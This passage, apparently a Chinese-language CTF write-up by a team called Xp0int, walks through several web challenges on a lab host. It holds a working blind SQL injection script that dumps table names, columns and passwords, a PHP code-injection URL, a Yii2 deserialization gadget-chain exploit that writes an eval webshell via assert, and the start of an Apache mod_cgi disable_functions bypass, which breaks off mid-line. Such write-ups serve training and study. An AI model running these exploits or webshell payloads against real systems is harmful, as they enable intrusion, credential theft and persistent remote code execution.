Xp0int Team

image.php 有sql注入

```

import requests
import sys
session = requests.session()
hh=''
burp0_url = "http://eci-2zeab1jn4vnk23hzs0z3.cloudeci1.ichunqiu.com:80/image.php"
for i in range(1,100):
    for j in range(30,129):
        if j==128:
            sys.exit(1)

        #print(gg)
        params={'id':"2/(select/**/ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{},1))={})".replace(' ','/**/').format(i,j)}
        params={'id':"2/(select/**/ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))={})".replace(' ','/**/').format(i,j)}
        params={'id':"2/(select/**/ascii(substr((select group_concat(password)from users),{},1))={})".replace(' ','/**/').format(i,j)}

        r=session.get(burp0_url,params=params)
        a=len(r.text)
        if a>1000:
            hh+=chr(j)
            print(hh)
           break

 ```

得到密码登录

登录后

File:///flag 得到flag

robots.txt看到1ndexx.php .1ndexx.php.swp泄露

index.php?code=<?php+phpinfo();?>

然后访问hack.php得到flag

Yii2漏洞 about 路由反序列化 直接网上exp assert 写shell

```

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents("/var/www/html/web/a.php","<?=eval(\\$_POST[a]);?>");';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){

            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

```

写shell

需要bypass disable_function

Apache mod cgi 绕过

 ```

<?php

$cmd = "/readflag > /tmp/1"; //comman